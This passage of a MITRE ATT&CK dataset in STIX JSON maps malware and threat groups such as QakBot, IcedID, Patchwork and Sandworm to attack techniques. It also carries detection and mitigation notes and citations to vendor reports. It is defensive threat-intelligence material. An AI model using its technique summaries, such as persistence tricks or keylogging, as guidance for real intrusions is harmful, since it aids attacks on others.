2024.","url":"https://threatresearch.ext.hp.com/raspberry-robin-now-spreading-through-windows-script-files/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T14:04:36.061Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) can delete its initial delivery script from disk during execution.(Citation: HP RaspberryRobin 2024)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5d4cfac-aa9a-4dfb-a991-e81f70a937e2","type":"relationship","created":"2021-12-10T14:34:38.896Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-296A Berserk Bear December 2020","url":"https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions","description":"CISA. (2020, December 1). Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets. Retrieved December 9, 2021."}],"modified":"2021-12-10T14:34:38.896Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has scanned targeted systems for vulnerable Citrix and Microsoft Exchange services.(Citation: CISA AA20-296A Berserk Bear December 2020)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5d62fbd-ff2e-459a-84a3-462aa73ac01e","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor interactions with images and containers by users to identify ones that are modified anomalously.\nIn containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration.","source_ref":"x-mitre-data-component--071a09b1-8945-46fd-8bb7-6bcc89400963","target_ref":"attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5d67c9b-f8de-420a-ad05-3691ca001b64","type":"relationship","created":"2020-08-17T15:22:29.071Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"}],"modified":"2020-08-17T15:22:29.072Z","description":"\n[InvisiMole](https://attack.mitre.org/software/S0260) can disconnect previously connected remote drives.(Citation: ESET InvisiMole June 2018)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c5d72f44-5b9c-4927-a232-6cd81fdbcc13","created":"2022-02-01T20:04:13.533Z","x_mitre_version":"1.0","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Ferocious](https://attack.mitre.org/software/S0679) can run anti-sandbox checks using the Microsoft Excel 4.0 function GET.WORKSPACE to determine the OS version, if there is a mouse present, and if the host is capable of playing sounds.(Citation: Kaspersky WIRTE November 2021)","modified":"2022-04-16T21:48:40.519Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--73d08401-005f-4e1f-90b9-8f45d120879f","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5da001c-2c17-4e83-8e5c-21863ead4bd9","type":"relationship","created":"2017-05-31T21:33:27.075Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf","description":"Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.","source_name":"Cymmetria Patchwork"},{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"},{"source_name":"Volexity Patchwork June 2018","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.","url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/"}],"modified":"2021-11-02T21:06:31.712Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) ran a reverse shell with Meterpreter.(Citation: Cymmetria Patchwork) [Patchwork](https://attack.mitre.org/groups/G0040) used JavaScript code and .SCT files on victim machines.(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c5dd0d66-99f1-4efd-b0f9-bf9f9118ff16","created":"2020-06-10T18:36:54.638Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Cyclops Blink March 2022","description":"Haquebord, F. et al. (2022, March 17). Cyclops Blink Sets Sights on Asus Routers. Retrieved March 17, 2022.","url":"https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html"},{"source_name":"NCSC Sandworm Feb 2020","description":"NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020.","url":"https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory"},{"source_name":"mandiant_apt44_unearthing_sandworm","description":"Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.","url":"https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf"},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.","url":"https://www.justice.gov/opa/press-release/file/1328521/download"},{"source_name":"Secureworks IRON VIKING ","description":"Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020.","url":"https://www.secureworks.com/research/threat-profiles/iron-viking"},{"source_name":"UK NCSC Olympic Attacks October 2020","description":"UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020.","url":"https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T19:05:24.106Z","description":"(Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)(Citation: Secureworks IRON VIKING )(Citation: Trend Micro Cyclops Blink March 2022)(Citation: mandiant_apt44_unearthing_sandworm)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"malware--5719af9d-6b16-46f9-9b28-fb019541ddbb","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5dffed7-7e56-4cee-8f96-065b4718000d","type":"relationship","created":"2021-09-09T14:07:32.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Oblique RAT March 2021","url":"https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html","description":"Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:43:12.342Z","description":"[ObliqueRAT](https://attack.mitre.org/software/S0644) can check for blocklisted process names on a compromised host.(Citation: Talos Oblique RAT March 2021)","relationship_type":"uses","source_ref":"malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c5e0e6d9-b7ac-48b2-b22f-d3a3efd1f8f0","created":"2024-05-22T20:22:42.478Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T20:22:42.478Z","description":"[Apostle](https://attack.mitre.org/software/S1133) achieves persistence by creating a scheduled task, such as MicrosoftCrashHandlerUAC.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--48d96fa0-d027-45aa-a8c3-5d09f65d596d","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5e3e18d-124e-4ae2-a95c-9db8f6d53000","type":"relationship","created":"2020-07-15T19:02:25.131Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM IcedID November 2017","url":"https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/","description":"Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020."},{"source_name":"Juniper IcedID June 2020","url":"https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware","description":"Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020."}],"modified":"2020-08-14T14:25:54.036Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has used web injection attacks to redirect victims to spoofed sites designed to harvest banking and other credentials. [IcedID](https://attack.mitre.org/software/S0483) can use a self signed TLS certificate in connection with the spoofed site and simultaneously maintains a live connection with the legitimate site to display the correct URL and certificates in the browser.(Citation: IBM IcedID November 2017)(Citation: Juniper IcedID June 2020)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c5e582d2-aea4-4828-8b9c-5bfe1ca72504","created":"2022-09-29T19:26:04.122Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T19:26:04.122Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used the command `net view /all time` to gather the local time of a compromised network.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5fa4766-4468-4afd-9b5f-5ce4f443729d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Operation Groundbait","description":"Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}],"modified":"2019-07-26T20:45:14.400Z","description":"[Prikormka](https://attack.mitre.org/software/S0113) adds itself to a Registry Run key with the name guidVGA or guidVSA.(Citation: ESET Operation Groundbait)","relationship_type":"uses","source_ref":"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5fd969c-7fda-4f3a-9f54-1f1455f14956","type":"relationship","created":"2021-04-05T20:52:47.411Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft DUBNIUM June 2016","url":"https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/","description":"Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021."}],"modified":"2021-04-21T22:05:35.160Z","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) has used malware that is disguised as a Secure Shell (SSH) tool.(Citation: Microsoft DUBNIUM June 2016)","relationship_type":"uses","source_ref":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5fef08a-e2ca-4bd1-880e-80fd90dc3d6a","type":"relationship","created":"2020-12-04T15:01:55.429Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture HyperStack October 2020","url":"https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity","description":"Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."}],"modified":"2020-12-04T15:01:55.429Z","description":"[HyperStack](https://attack.mitre.org/software/S0537) can enumerate all account names on a remote share.(Citation: Accenture HyperStack October 2020)","relationship_type":"uses","source_ref":"malware--2cf7dec3-66fc-423f-b2c7-58f1de243b4e","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6051e93-2d02-4890-bb0d-d0f3c8be8d15","type":"relationship","created":"2021-09-28T15:55:03.446Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kroll Qakbot June 2020","url":"https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks","description":"Sette, N. et al. (2020, June 4). Qakbot Malware Now Exfiltrating Emails for Sophisticated Thread Hijacking Attacks. Retrieved September 27, 2021."},{"source_name":"Trend Micro Qakbot December 2020","url":"https://success.trendmicro.com/solution/000283381","description":"Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved September 27, 2021."},{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}],"modified":"2021-09-30T13:49:36.100Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can capture keystrokes on a compromised host.(Citation: Kroll Qakbot June 2020)(Citation: Trend Micro Qakbot December 2020)(Citation: Kaspersky QakBot September 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c60fb662-befd-459b-906b-b816b76a727a","created":"2023-02-10T18:39:53.675Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T15:30:50.050Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) can collect a list of running processes from an infected host.(Citation: HP SVCReady Jun 2022)","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c612eb88-d7e0-46cc-a9bc-d0da2977ff00","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit USBStealer 2014","description":"Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.","url":"http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"}],"modified":"2020-03-11T17:45:54.140Z","description":"[USBStealer](https://attack.mitre.org/software/S0136) drops commands for a second victim onto a removable media drive inserted into the first victim, and commands are executed when the drive is inserted into the second victim.(Citation: ESET Sednit USBStealer 2014)","relationship_type":"uses","source_ref":"malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb","target_ref":"attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c614775b-cc8d-4e60-8415-68a10fe9579d","created":"2024-01-23T19:21:13.525Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-23T19:21:13.525Z","description":"(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c616ad2c-cfa1-4629-8f84-f102c7bc8d09","created":"2019-09-23T23:14:16.658Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.542Z","description":"(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"malware--d69c8146-ab35-4d50-8382-6fc80e641d43","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c6172742-12ae-4d3f-9fd6-194cfdc93de7","created":"2022-02-01T20:08:16.704Z","x_mitre_version":"1.0","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Ferocious](https://attack.mitre.org/software/S0679) can use GET.WORKSPACE in Microsoft Excel to determine the OS version of the compromised host.(Citation: Kaspersky WIRTE November 2021)","modified":"2022-04-16T21:49:07.613Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--73d08401-005f-4e1f-90b9-8f45d120879f","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c61ca699-62e8-4c42-b20c-3c042c0fb153","type":"relationship","created":"2020-06-10T20:26:53.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.390Z","description":"[down_new](https://attack.mitre.org/software/S0472) has the ability to gather information on installed applications.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--8be7c69e-d8e3-4970-9668-61de08e508cc","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c620753b-17ad-43bd-ace3-f572ebcac644","created":"2022-04-18T13:42:37.506Z","x_mitre_version":"0.1","external_references":[{"source_name":"AADInternals Documentation","url":"https://o365blog.com/aadinternals","description":"Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AADInternals](https://attack.mitre.org/software/S0677) can steal users’ access tokens via phishing emails containing malicious links.(Citation: AADInternals Documentation)","modified":"2022-04-18T20:51:51.590Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c621754d-39c0-4ed4-96d2-6f47e8263aea","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.","source_name":"McAfee GhostSecret"}],"modified":"2019-04-22T22:40:41.275Z","description":"[Proxysvc](https://attack.mitre.org/software/S0238) performs data exfiltration over the control server channel using a custom protocol.(Citation: McAfee GhostSecret)","relationship_type":"uses","source_ref":"malware--069af411-9b24-4e85-b26c-623d035bbe84","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c623d41f-3af0-4e3a-bf4f-8550bec85b37","type":"relationship","created":"2020-08-31T15:06:48.118Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}],"modified":"2020-08-31T15:06:48.118Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used modules that automatically upload gathered documents to the C2 server.(Citation: ESET Gamaredon June 2020)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c62b3e99-4ab2-4474-b3f7-2779652210f7","type":"relationship","created":"2020-05-12T21:44:40.900Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-15T18:47:04.395Z","description":"[ShimRatReporter](https://attack.mitre.org/software/S0445) gathered the operating system name and specific Windows version of an infected machine.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"tool--115f88dd-0618-4389-83cb-98d33ae81848","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c6330aef-b396-4664-9258-a6bed2f4573e","created":"2023-04-15T00:12:54.206Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-15T00:12:54.206Z","description":"Routinely check account role permissions to ensure only expected users and roles have permission to modify defensive tools and 